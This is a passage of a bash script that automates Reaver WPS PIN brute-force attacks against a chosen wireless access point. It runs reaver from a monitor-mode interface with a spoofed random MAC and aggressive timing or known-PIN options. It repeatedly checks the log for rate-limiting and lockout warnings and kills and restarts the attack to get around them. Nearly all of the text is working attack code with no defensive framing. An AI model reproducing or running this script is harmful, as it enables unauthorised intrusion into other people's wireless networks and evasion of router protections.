	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R31 == y || $USE_R31 == Y ]] && [[ $USE_LONG31 == n || $USE_LONG31 == N ]] && [[ $USE_PIN31 == n || $USE_PIN31 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME31"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL31"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP31"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX31" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY31"
echo -e "$info Reaver live time                   = $yel$LIVE31 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME31-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL31 -b $TARGETAP31 -vv -x 60 -r $RX31:$RY31 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME31-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE31-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R31 == n || $USE_R31 == N ]] && [[ $USE_LONG31 == y || $USE_LONG31 == Y ]] && [[ $USE_PIN31 == n || $USE_PIN31 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME31"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL31"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP31"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE31 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME31-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL31 -b $TARGETAP31 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME31-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE31-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R31 == y || $USE_R31 == Y ]] && [[ $USE_LONG31 == y || $USE_LONG31 == Y ]] && [[ $USE_PIN31 == n || $USE_PIN31 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME31"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL31"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP31"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX31" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY31"
echo -e "$info Reaver live time                   = $yel$LIVE31 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME31-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL31 -b $TARGETAP31 -r $RX31:$RY31 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME31-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE31-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R31 == n || $USE_R31 == N ]] && [[ $USE_LONG31 == n || $USE_LONG31 == N ]] && [[ $USE_PIN31 == y || $USE_PIN31 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME31"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL31"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP31"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE31 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME31-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL31 -b $TARGETAP31 -vv -x 60  --pin=$WPS_PIN31 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME31-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE31-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME31-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME31-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME31-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP31 (ESSID: $NMEWARN31)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME31-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R31 == y || $USE_R31 == Y ]] && [[ $USE_LONG31 == n || $USE_LONG31 == N ]] && [[ $USE_PIN31 == y || $USE_PIN31 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME31"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL31"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP31"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX31" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY31"
echo -e "$info Reaver live time                   = $yel$LIVE31 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME31-$DATEFILE-$PAD"

echo -e "$txtrst"

